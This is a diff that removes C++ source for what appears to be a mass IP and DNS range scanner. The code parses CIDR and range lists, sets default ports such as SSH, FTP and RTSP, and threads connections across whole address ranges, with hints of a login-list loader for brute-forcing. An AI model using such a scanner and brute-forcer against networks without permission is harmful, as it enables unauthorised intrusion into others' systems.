WideCharToMultiByte(dstCodePage, 0, wbuf, -1, 0, 0, 0, 0); - char * buf = (char *)new char[size]; - WideCharToMultiByte(dstCodePage, 0, wbuf, -1, buf, size, 0, 0); - delete wbuf; - - res.append(buf); - delete buf; -#else - unsigned int size = 0; - while (src[size++]!=0); - char * buf = (char *)new char[size]; - unsigned char uni[16] = {0}; - - size=0; - while (src[size]!=0) - { - - }; - delete buf; -#endif - return res; -} -void _NegativeLoader() { - FILE *nFile = fopen("negatives.txt", "rb"); - - if( nFile != NULL) - { - unsigned char b[3] = {0}; - fread(b,1,2, nFile); - if( b[0] == 0xEF && b[1] == 0xBB) - { - fread(b,1,1,nFile); // 0xBF - ReadUTF8(nFile, "UTF"); - } - else - { - ReadUTF8(nFile, "1251"); - }; - } -} - -void CheckMaskBits(char *res, int index) { - char *bitsStr = strstr(res, "/"); - int bitsNum = atoi(bitsStr + 1); - int finalBit = 1; - int bitCounter = 0; - - if(bitsNum <= 32 && bitsNum > 24) //4 octet - { - bitCounter = 32 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; - ipsstartfl[index][1] = ipsendfl[index][1] = octet[1]; - ipsstartfl[index][2] = ipsendfl[index][2] = octet[2]; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = octet[3] + finalBit - 1; - - } - else if(bitsNum <= 24 && bitsNum > 16) //3 octet - { - bitCounter = 24 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; - ipsstartfl[index][1] = ipsendfl[index][1] = octet[1]; - ipsstartfl[index][2] = octet[2]; - ipsendfl[index][2] = octet[2] + finalBit - 1; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = 255; - } - else if(bitsNum <= 16 && bitsNum > 8) //2 octet - { - bitCounter = 16 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; - ipsstartfl[index][1] = octet[1]; - ipsendfl[index][1] = octet[1] + finalBit - 1; - ipsstartfl[index][2] = octet[2]; - ipsendfl[index][2] = 255; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = 255; - - } - else if(bitsNum <= 8 && bitsNum > 0) //1 octet - { - bitCounter = 8 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = octet[0]; - ipsendfl[index][0] = octet[0] + finalBit - 1; - ipsstartfl[index][1] = octet[1]; - ipsendfl[index][1] = 255; - ipsstartfl[index][2] = octet[2]; - ipsendfl[index][2] = 255; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = 255; - } - else - { - stt->doEmitionRedFoundData("[CheckMaskBits] Cannot parse IP list"); - stt->doEmitionKillSttThread(); - }; -} - -void GetOctets(char *curIP) { - char *str1; - char *str2; - char temp[8] = {0}; - - if(strstr(curIP, ".") != NULL) - { - str1 = strstr(curIP, "."); //1 - strncpy(temp, curIP, str1 - curIP); - octet[0] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str1 = strstr(curIP, "/"); - strncpy(temp, curIP, str1 - curIP); - - octet[0] = atoi(temp); - octet[1] = 0; - octet[2] = 0; - octet[3] = 0; - return; - }; - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //2 - strncpy(temp, str1 + 1, str2 - str1); - octet[1] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str2 = strstr(str1 + 1, "/"); - strncpy(temp, str1 + 1, str2 - str1); - - octet[1] = atoi(temp); - octet[2] = 0; - octet[3] = 0; - return; - }; - - if(strstr(str2 + 1, ".") != NULL) - { - str1 = strstr(str2 + 1, "."); //3 - strncpy(temp, str2 + 1, str1 - str2); - octet[2] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str1 = strstr(str2 + 1, "/"); - strncpy(temp, str2 + 1, str1 - str2); - - octet[2] = atoi(temp); - octet[3] = 0; - return; - }; - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //4 - strncpy(temp, str1 + 1, str2 - str1); - octet[3] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str2 = strstr(str1 + 1, "/"); - strncpy(temp, str1 + 1, str2 - str1 - 1); - - octet[3] = atoi(temp); - return; - }; -} - -void FileLoader(char *str) { - char curIP[256] = {0}, curIPCopy[256] = {0}; - unsigned int importFileSize = 0; - - FILE *fl = fopen(str, "r"); - if(fl != NULL) - { - while(fgets((char*)curIP, sizeof(curIP), fl) != NULL) - { - if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 && - ((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false) - && (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false) - { - ++importFileSize; - }; - ZeroMemory(curIP, sizeof(curIP)); - }; - - ipsstartfl = new unsigned char*[importFileSize + 2]; - ipsendfl = new unsigned char*[importFileSize + 2]; - starterIP = new unsigned char*[importFileSize + 2]; - ZeroMemory(ipsstartfl, importFileSize); - ZeroMemory(ipsendfl, importFileSize); - ZeroMemory(starterIP, importFileSize); - for(int i = 0; i < importFileSize; ++i) - { - ipsstartfl[i] = new unsigned char[4]; - ipsendfl[i] = new unsigned char[4]; - starterIP[i] = new unsigned char[4]; - - ZeroMemory(ipsstartfl[i], 4); - ZeroMemory(ipsendfl[i], 4); - ZeroMemory(starterIP[i], 4); - }; - - rewind(fl); - - while(fgets(curIP, 256, fl) != NULL) - { - if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 && - ((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false) - && (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false) - { - strcpy(curIPCopy, curIP); - char *ptr1 = strstr(curIP, " "); - if(ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0'; - ptr1 = strstr(curIP, " "); - if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; - ptr1 = strstr(curIP, "#"); - if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; - if(strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#') - { - ZeroMemory(curIPCopy, sizeof(curIPCopy)); - ZeroMemory(curIP, sizeof(curIP)); - continue; - }; - - if(strstr(curIP, "-") != NULL) - { - bool firstPart = true; - int offset = 0; - int curNIndex = 0; - char curS; - char curN[32] = {0}; - for(int i = 0; i < strlen(curIP); ++i) - { - curS = curIP[i]; - if(curS == '.') - { - if(firstPart) - { - starterIP[flCounter][offset] = atoi(curN); - ipsstartfl[flCounter][offset] = atoi(curN); - } - else ipsendfl[flCounter][offset] = atoi(curN); - ++offset; - curNIndex = 0; - ZeroMemory(curN, 32); - continue; - } - else if(curS == '-') - { - if(firstPart) - { - starterIP[flCounter][offset] = atoi(curN); - ipsstartfl[flCounter][offset] = atoi(curN); - } - else ipsendfl[flCounter][offset] = atoi(curN); - offset = 0; - firstPart = false; - curNIndex = 0; - ZeroMemory(curN, 32); - continue; - }; - curN[curNIndex++] = curS; - if(i == strlen(curIP) - 1) - { - ipsendfl[flCounter][offset] = atoi(curN); - }; - }; - - if(ipsstartfl[flCounter][0] > ipsendfl[flCounter][0] - || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] - && ipsstartfl[flCounter][1] > ipsendfl[flCounter][1] - ) - || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] - && ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1] - && ipsstartfl[flCounter][2] > ipsendfl[flCounter][2] - ) - || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] - && ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1] - && ipsstartfl[flCounter][2] >= ipsendfl[flCounter][2] - && ipsstartfl[flCounter][3] > ipsendfl[flCounter][3] - ) - ) - { - char tempMsg[256] = {0}; - strcpy(tempMsg, "[IP Loader]Wrong list format. Line-> ["); - strcat(tempMsg, std::to_string(flCounter).c_str()); - strcat(tempMsg, "] String-> ["); - strcat(tempMsg, curIPCopy); - strcat(tempMsg, "]"); - stt->doEmitionRedFoundData(QString(tempMsg)); - return; - }; - - gTargets += 256*256*256*(ipsendfl[flCounter][0] - ipsstartfl[flCounter][0]); - gTargets += 256*256*(ipsendfl[flCounter][1] - ipsstartfl[flCounter][1]); - gTargets += 256*(ipsendfl[flCounter][2] - ipsstartfl[flCounter][2]); - gTargets += (ipsendfl[flCounter][3] - ipsstartfl[flCounter][3]); - ++flCounter; - } - else if(strstr(curIP, "/") != NULL) - { - int mask = 0; - char *ptr1 = strstr(curIP, "/"); - GetOctets(curIP); - - mask = atoi(ptr1 + 1); - unsigned char mOctet[4]; - mOctet[0] = 1; - mOctet[1] = 1; - mOctet[2] = 1; - mOctet[3] = 1; - - if(mask >= 24) - { - mOctet[0] = 255; - mOctet[1] = 255; - mOctet[2] = 255; - for(int i = 0; i < mask - 24 - 1; ++i) - { - mOctet[3] = mOctet[3] << 1; - mOctet[3] |= 1; - }; - mOctet[3] = mOctet[3] << 8 - (mask - 24); - } - else if(mask >= 16) - { - mOctet[0] = 255; - mOctet[1] = 255; - for(int i = 0; i < mask - 16 - 1; ++i) - { - mOctet[2] = mOctet[2] << 1; - mOctet[2] |= 1; - }; - mOctet[2] = mOctet[2] << 8 - (mask - 16); - mOctet[3] = 0; - } - else if(mask >= 8) - { - mOctet[0] = 255; - for(int i = 0; i < mask - 8 - 1; ++i) - { - mOctet[1] = mOctet[1] << 1; - mOctet[1] |= 1; - }; - mOctet[1] = mOctet[1] << 8 - (mask - 8); - mOctet[2] = 0; - mOctet[3] = 0; - } - else - { - for(int i = 0; i < mask - 1; ++i) - { - mOctet[0] = mOctet[0]<< 1; - mOctet[0] |= 1; - }; - mOctet[0] = mOctet[0] << 8 - mask; - mOctet[1] = 0; - mOctet[2] = 0; - mOctet[3] = 0; - }; - - unsigned char ocRes = 0; - for(int i = 0; i < 4; ++i) - { - ocRes = octet[i]&mOctet[i]; - starterIP[flCounter][i] = ocRes; - ipsstartfl[flCounter][i] = ocRes; - if(mOctet[i] == 255) ipsendfl[flCounter][i] = octet[i]; - else ipsendfl[flCounter][i] = octet[i]|~mOctet[i]; - }; - - gTargets += pow((float)2, (32 - mask)); - ++flCounter; - } - else if(strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL) - { - ///DUMMY/// - } - else - { - char tempMsg[256] = {0}; - strcpy(tempMsg, "[IP Loader]Wrong list format. Line-> ["); - strcat(tempMsg, std::to_string(flCounter).c_str()); - strcat(tempMsg, "] String-> ["); - strcat(tempMsg, curIPCopy); - strcat(tempMsg, "]"); - stt->doEmitionRedFoundData(QString(tempMsg)); - return; - }; - ZeroMemory(curIP, sizeof(curIP)); - }; - }; - gTargets -= 1; - gTargetsOverall = gTargets; - targets = gTargets; - - stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsOverall + 1) + " hosts)"); - fclose(fl); - } - else - { - stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list."); - }; -} - -char *GetCIDRRangeStr(char *str) { - char result[128] = {0}; - char start[32] = {0}; - char end[32] = {0}; - - int mask = 0; - char *ptr1 = strstr(str, "/"); - GetOctets(str); - - mask = atoi(ptr1 + 1); - unsigned char mOctet[4]; - mOctet[0] = 1; - mOctet[1] = 1; - mOctet[2] = 1; - mOctet[3] = 1; - - if(mask >= 24) - { - mOctet[0] = 255; - mOctet[1] = 255; - mOctet[2] = 255; - for(int i = 0; i < mask - 24 - 1; ++i) - { - mOctet[3] = mOctet[3] << 1; - mOctet[3] |= 1; - }; - mOctet[3] = mOctet[3] << 8 - (mask - 24); - } - else if(mask >= 16) - { - mOctet[0] = 255; - mOctet[1] = 255; - for(int i = 0; i < mask - 16 - 1; ++i) - { - mOctet[2] = mOctet[2] << 1; - mOctet[2] |= 1; - }; - mOctet[2] = mOctet[2] << 8 - (mask - 16); - mOctet[3] = 0; - } - else if(mask >= 8) - { - mOctet[0] = 255; - for(int i = 0; i < mask - 8 - 1; ++i) - { - mOctet[1] = mOctet[1] << 1; - mOctet[1] |= 1; - }; - mOctet[1] = mOctet[1] << 8 - (mask - 8); - mOctet[2] = 0; - mOctet[3] = 0; - } - else - { - for(int i = 0; i < mask - 1; ++i) - { - mOctet[0] = mOctet[0]<< 1; - mOctet[0] |= 1; - }; - mOctet[0] = mOctet[0] << 8 - mask; - mOctet[1] = 0; - mOctet[2] = 0; - mOctet[3] = 0; - }; - - - sprintf(start, "%d.%d.%d.%d", octet[0]&mOctet[0], - octet[1]&mOctet[1], - octet[2]&mOctet[2], - octet[3]&mOctet[3]); - - unsigned char tempRes0 = 0; - unsigned char tempRes1 = 0; - unsigned char tempRes2 = 0; - unsigned char tempRes3 = 0; - - if(mOctet[0] == 255) tempRes0 = octet[0]; - else tempRes0 = octet[0]|~mOctet[0]; - if(mOctet[1] == 255) tempRes1 = octet[1]; - else tempRes1 = octet[1]|~mOctet[1]; - if(mOctet[2] == 255) tempRes2 = octet[2]; - else tempRes2 = octet[2]|~mOctet[2]; - if(mOctet[3] == 255) tempRes3 = octet[3]; - else tempRes3 = octet[3]|~mOctet[3]; - - sprintf(end, "%d.%d.%d.%d", tempRes0, - tempRes1, - tempRes2, - tempRes3); - - sprintf(result, "%s-%s", start, end); - - return result; -} -int fInit(int InitMode, char *gR) { - strcpy(metaRange, gR); - if (InitMode == 0) - { - if(strstr(gR, "/") != NULL) - { - ++flCounter; - - char *str1; - char *str2; - char res[8] = {0}; - - GetOctets(gR); - - if(strstr(gR, ".") != NULL) - { - str1 = strstr(gR, "."); //1 byte - strncpy(res, gR, (int)((char*)str1 - gR)); - } - else strcpy(res, gR); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][0] = atoi(res); - ipsstartfl[flCounter][0] = atoi(res); - ipsendfl[flCounter][0] = atoi(res); - }; - ZeroMemory(res, sizeof(res)); - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //2 byte - strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); - } - else strcpy(res, str1 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][1] = atoi(res); - ipsstartfl[flCounter][1] = atoi(res); - ipsendfl[flCounter][1] = atoi(res); - }; - - ZeroMemory(res, sizeof(res)); - - if(strstr(str2 + 1, ".") != NULL) - { - str1 = strstr(str2 + 1, "."); //3 byte - strncpy(res, str2 + 1, (int)((char*)str1 - str2) - 1); - } - else strcpy(res, str2 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][2] = atoi(res); - ipsstartfl[flCounter][2] = atoi(res); - ipsendfl[flCounter][2] = atoi(res); - }; - ZeroMemory(res, sizeof(res)); - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //4 byte - strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); - } - else strcpy(res, str1 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][3] = atoi(res); - ipsstartfl[flCounter][3] = atoi(res); - ipsendfl[flCounter][3] = atoi(res); - }; - - ipsstart[0] = ipsstartfl[flCounter][0]; - ipsstart[1] = ipsstartfl[flCounter][1]; - ipsstart[2] = ipsstartfl[flCounter][2]; - ipsstart[3] = ipsstartfl[flCounter][3]; - - ipsend[0] = ipsendfl[flCounter][0]; - ipsend[1] = ipsendfl[flCounter][1]; - ipsend[2] = ipsendfl[flCounter][2]; - ipsend[3] = ipsendfl[flCounter][3]; - } - else - { - int x; - char des1[64] = {0}; - - for(int i = 0; i < 3; i++) //Filling the range-starting ip mass. - { - x = strcspn(gR, "."); - memcpy(des1, gR, x*sizeof(int)); - memset(gR, ' ', x + 1); - ipsstart[i] = atoi(des1); - ZeroMemory(des1, sizeof(des1)); - if(ipsstart[i] > 255) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - }; - - x = strcspn(gR, "-"); - if(strstr(gR, "-") == NULL) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - memcpy(des1, gR, x); - ipsstart[3] = atoi(des1); - memset(gR, ' ', x + 1); - - if(strstr(gR, ".") == NULL) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - for(int i = 0; i < 4; i++) //Filling the range-closing ip mass. - { - x = strcspn(gR, "."); - memcpy(des1, gR, x); - memset(gR, ' ', x + 1); - ipsend[i] = atoi(des1); - - if(ipsend[i] > 255) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - }; - - }; - if((ipsstart[0] > ipsend[0]) - || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] > ipsend[1]) - ) || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] > ipsend[2]) - ) || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] >= ipsend[2]) && (ipsstart[3] > ipsend[3]) - ) - ) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - targets = numOfIps(ipsstart, ipsend); - }; -} - -int ParseArgs(int argc, char *argv[]) { - int s = 0; - int indexPorts = 0; - - if(strstr(argv[1], "-f") != NULL) - { - gThreads = atoi(argv[3]); - threads = gThreads; - - FileLoader(argv[2]); - gMode = -1; - } - else - { - gMode = atoi(argv[1]); - - if(gMode == 0) //Mode 0 (IP scan) - { - gThreads = atoi(argv[3]); - } - else if(gMode == 1) //Mode 1 (DNS scan) - { - strcpy(gFirstDom, argv[3]); - gThreads = atoi(argv[4]); - }; - - threads = gThreads; - }; - - if(gMode == 0) - { - if(strstr(argv[2], "-") != NULL) - { - strcpy(gRange, argv[2]); - } - else if(strstr(argv[2], "/") != NULL) - { - strcpy(gRange, GetCIDRRangeStr(argv[2])); - } - else - { - strcpy(gRange, argv[2]); - strcat(gRange, "-"); - strcat(gRange, argv[2]); - }; - - strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); - strcpy(finalIP, strstr(gRange, "-") + 1); - } - else if(gMode == 1) - { - if(strstr(argv[2], "/") != NULL) - { - strcpy(gRange, argv[2]); - strcpy(saveEndIP, argv[2]); - strcpy(endIP2, argv[2]); - } - else - { - strcpy(gRange, argv[2]); - strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); - }; - - }; - - for(int i = 1; i <= argc - 1; i++) - { - s += strlen(argv[i]) + 2; - }; - - char *argString = new char [s + 1]; - ZeroMemory(argString, sizeof(*argString)); - - for(int i = 1; i <= argc - 1; i++) - { - strcat(argString, argv[i]); - if(i != argc - 1) strcat(argString, "::"); - }; - - if(strstr(argString, "-p") != NULL) - { - char *portString = strstr(argString, "-p"); - char p[4096] = {0}; - if(strstr(portString, "::") != NULL) - { - strncpy(gPorts, portString, (int)(strstr(portString, "::") - portString)); - strncpy(p, strstr(argString, "-p") + 2, (int)(strstr(portString, "::") - portString)); - } - else - { - strcpy(gPorts, portString); - strcpy(p, strstr(argString, "-p") + 2); - }; - char *lex; - - if(strstr(p, ",") != NULL) - { - - lex = strtok(p, ","); - portArr[indexPorts++] = atoi(lex); - - while ((lex = strtok(NULL, ",")) != NULL) - { - portArr[indexPorts++] = atoi(lex); - overallPorts++; - }; - } - else if(strstr(p, "-") != NULL) - { - char *startp; - char *endp; - char buffForPorts[16] = {0}; - - lex = strtok(p, "-p"); - startp = lex; - lex = strtok(NULL, "-"); - endp = lex; - - for(int i = atoi(startp); i <= atoi(endp); i++ ) - { - portArr[indexPorts++] = i; - overallPorts++; - }; - - ZeroMemory(buffForPorts, sizeof(buffForPorts)); - } - else - { - - lex = strtok(p, "-p"); - portArr[indexPorts++] = atoi(lex); - }; - } - else - { - portArr[0] = 80; - portArr[1] = 81; - portArr[2] = 88; - portArr[3] = 8080; - portArr[4] = 8081; - portArr[5] = 60001; - portArr[6] = 60002; - portArr[7] = 8008; - portArr[8] = 8888; - portArr[9] = 554; - portArr[10] = 9000; - portArr[11] = 441; - portArr[12] = 4111; - portArr[13] = 6667; - portArr[14] = 3536; - portArr[15] = 22; - portArr[16] = 21; - - overallPorts = 16; - - strcpy(gPorts, "--DEFAULT"); - }; - - ZeroMemory(argString, sizeof(*argString)); - - delete[] argString; - -return 0; -} - -char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', - 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', - 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '-'}; - -int _getPos(char l) { - for(int i = 0; i < 38; ++i) - { - if(l == charAll[i]) return i; - }; - return -1; -} - -int _getChunkCount(char *data) { - int firstPos = _getPos(data[1]); - int secondPos = _getPos(data[2]); - return secondPos - firstPos + 1; -} - -int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { - if(strstr(mask, "[") != NULL) - { - char maskEnd[1024] = {0}; - char maskRes[1024] = {0}; - char *ptr1 = strstr(mask, "["); - char *ptr2 = strstr(ptr1, "]"); - int sz = ptr2 - ptr1; - char chunk[8] = {0}; - strncpy(chunk, ptr1, sz + 1); - int firstPos = _getPos(chunk[1]); - int secondPos = _getPos(chunk[2]); - - if(firstPos > secondPos) - { - stt->doEmitionRedFoundData("Error at mask (Wrong letter sequence)"); - return -1; - }; - - char maskStart[1024] = {0}; - int startPosition = strstr(mask, "[") - mask; - strncpy(maskStart, mask, startPosition); - - char maskEntry[1024] = {0}; - if(saveMaskEnder != NULL) - { - int startSavePosition = strstr(saveMaskEnder, "[") - saveMaskEnder; - strncpy(maskEntry, saveMaskEnder, startSavePosition); - }; - - int szMask = strlen(mask); - int szOffset = startPosition + 2; - if(szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1); - else - { - ZeroMemory(maskEnd, sizeof(maskEnd)); - }; - - char maskSaver[128] = {0}; - if(firstPos != -1 && secondPos != -1) - { - for(int i = firstPos; i <= secondPos; ++i) - { - if(globalScanFlag == false) break; - - strcpy(maskSaver, saveMask); - strcat(maskSaver, maskEntry); - chunk[1] = charAll[i]; - strcat(maskSaver, chunk); - strcpy(maskRes, maskStart); - maskRes[startPosition] = charAll[i]; - strcat(maskRes, maskEnd); - - if(_GetDNSFromMask(maskRes, maskSaver, maskEnd) == -1) return -1; - - ZeroMemory(maskSaver, sizeof(maskSaver)); - ZeroMemory(maskRes, sizeof(maskRes)); - }; - }; - } - else - { - strcpy(endIP2, saveMask); - - while(cons >= gThreads && globalScanFlag) Sleep(300); - if(globalScanFlag == false) return 0; - - string res = string(mask); - verboseProgressDNS(--gTargets, res.c_str(), top_level_domain); - res += string(top_level_domain); - - ++indexIP; - - Threader::fireThread(res, (void*(*)(void))_connect); - }; -} - -void runAuxiliaryThreads() { - std::thread saverThread(_saver); - std::thread trackerThread(_tracker); - std::thread timerThread(_timer); - saverThread.detach(); - trackerThread.detach(); - timerThread.detach(); -} - -int startScan(char* args) { - curl_global_init(CURL_GLOBAL_ALL); - - horLineFlag = false; - flCounter = 0; - PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0; - AnomC1 = 0, BA = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0, WF = 0, offlines = 0; - BrutingThrds = 0; - found = 0; - gTargets = 0; - targets = 0; - cons = 0; - overallPorts = 0; - found = 0; - indexIP = 0; - - ZeroMemory(octet, sizeof(octet)); - ZeroMemory(ipsstart, sizeof(ipsstart)); - ZeroMemory(ipsend, sizeof(ipsend)); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - CreateDirectoryA(RESULT_DIR_NAME, NULL); -#else - struct stat str = {0}; - if (stat(RESULT_DIR_NAME, &str) == -1) { - mkdir(RESULT_DIR_NAME, 0700); - } -#endif - - int argc = 0; - char *argv[512] = { 0 }; - - char *tStr = strtok(args, "|"); - while (tStr != NULL) - { - argv[argc++] = tStr; - tStr = strtok(NULL, "|"); - }; - - ParseArgs(argc, argv); - mode = gMode; - int resInit = fInit(gMode, gRange); - - if (resInit == -1) - { - stt->doEmitionRedFoundData("[Error] fInit failure"); - stt->doEmitionKillSttThread(); - - return -1; - }; - - stt->doEmitionIPRANGE(QString("--")); - stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); - - _passLoginLoader(); - _NegativeLoader(); - - runAuxiliaryThreads(); - - if (gMode == 0) - { - unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; - unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; - - switch (gShuffle) { - case true: { - std::vector<std::string> ipVec; - struct in_addr tAddr; - - for (unsigned long i = ip1; i <= ip2; ++i) { - - if (globalScanFlag == false) break; - unsigned long offset = ip2 - i; - - tAddr.s_addr = ntohl(i); - ipVec.push_back(inet_ntoa(tAddr)); - if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); - - if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { - - std::random_shuffle(ipVec.begin(), ipVec.end()); - while (ipVec.size() != 0) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IPM; - - ++indexIP; - std::string res = ipVec[0]; - ipVec.erase(ipVec.begin()); - - verboseProgress(gTargets--, res.c_str()); - - Threader::fireThread(res, (void*(*)(void))_connect); - } - } - } - - haters_gonna_hate_IPM:; - break; - } - case false: { - struct in_addr tAddr; - for (unsigned long i = ip1; i <= ip2; ++i) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; - - std::string res = ""; - ++indexIP; - - tAddr.s_addr = ntohl(i); - res = string(inet_ntoa(tAddr)); - verboseProgress(gTargets--, res.c_str()); - - Threader::fireThread(res, (void*(*)(void))_connect); - } - break; - } - } - } - else if (gMode == 1) - { - strcpy(top_level_domain, gFirstDom); - - char dataEntry[1024] = { 0 }; - int innerCounter = 0; - int sz = strlen(saveEndIP); - - for (int i = 0; i < sz; ++i) - { - if (saveEndIP[i] == '\\') - { - if (saveEndIP[i + 1] == 'd') - { - strcat(dataEntry, "[09]"); - ++i; - innerCounter += 4; - continue; - } - else if (saveEndIP[i + 1] == 'w') - { - strcat(dataEntry, "[0z]"); - ++i; - innerCounter += 4; - continue; - } - else if (saveEndIP[i + 1] == 'l') - { - strcat(dataEntry, "[az]"); - ++i; - innerCounter += 4; - continue; - } - else - { - QString errStr = "Error at mask (Position:" + QString::number(i + 1); - errStr += ") \""; - errStr += QString(saveEndIP).mid(0, i == 0 ? 0 : i); - errStr += "<u>"; - errStr += QString(saveEndIP).mid(i, i == 0 ? i + 2 : i + 1); - errStr += "</u>"; - errStr += QString(saveEndIP).mid(i + 2, strlen(saveEndIP)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; - }; - } - else - { - memset(dataEntry + innerCounter++, saveEndIP[i], 1); - }; - }; - - memset(dataEntry + innerCounter + 1, '\0', 1); - - for (int i = 0; i < sz; ++i) - { - if (dataEntry[i] == '[') - { - for (int j = i + 1; j < i + 3; ++j) - { - if ((dataEntry[j] < '0' || dataEntry[j] > '9') - && (dataEntry[j] < 'a' || dataEntry[j] > 'z') - && dataEntry[j] != '_' - && dataEntry[j] != '-' - ) - { - QString errStr = "Error at mask (" + QString::number(j - 1); - errStr += ") \""; - errStr += QString(dataEntry).mid(0, j - 1); - errStr += "<u>"; - errStr += QString(dataEntry).mid(j - 1, j + 1); - errStr += "</u>"; - errStr += QString(dataEntry).mid(j + 1, strlen(dataEntry)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; - }; - }; - i += 3; - } - else if (dataEntry[i] == ']') - { - QString errStr = "Error at mask (" + QString::number(i - 1); - errStr += ") \""; - errStr += QString(dataEntry).mid(0, i - 1); - errStr += "<u>"; - errStr += QString(dataEntry).mid(i - 1, i + 1); - errStr += "</u>"; - errStr += QString(dataEntry).mid(i + 1, strlen(dataEntry)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; - }; - }; - - unsigned long long dnsCounter = 1; - char *dnsPtr1 = strstr(dataEntry, "["); - while (dnsPtr1 != NULL) - { - dnsCounter *= _getChunkCount(dnsPtr1); - dnsPtr1 = strstr(dnsPtr1 + 1, "["); - }; - - gTargets = dnsCounter; - gTargetsOverall = gTargets; - stt->doEmitionYellowFoundData("Starting DNS-scan..."); - 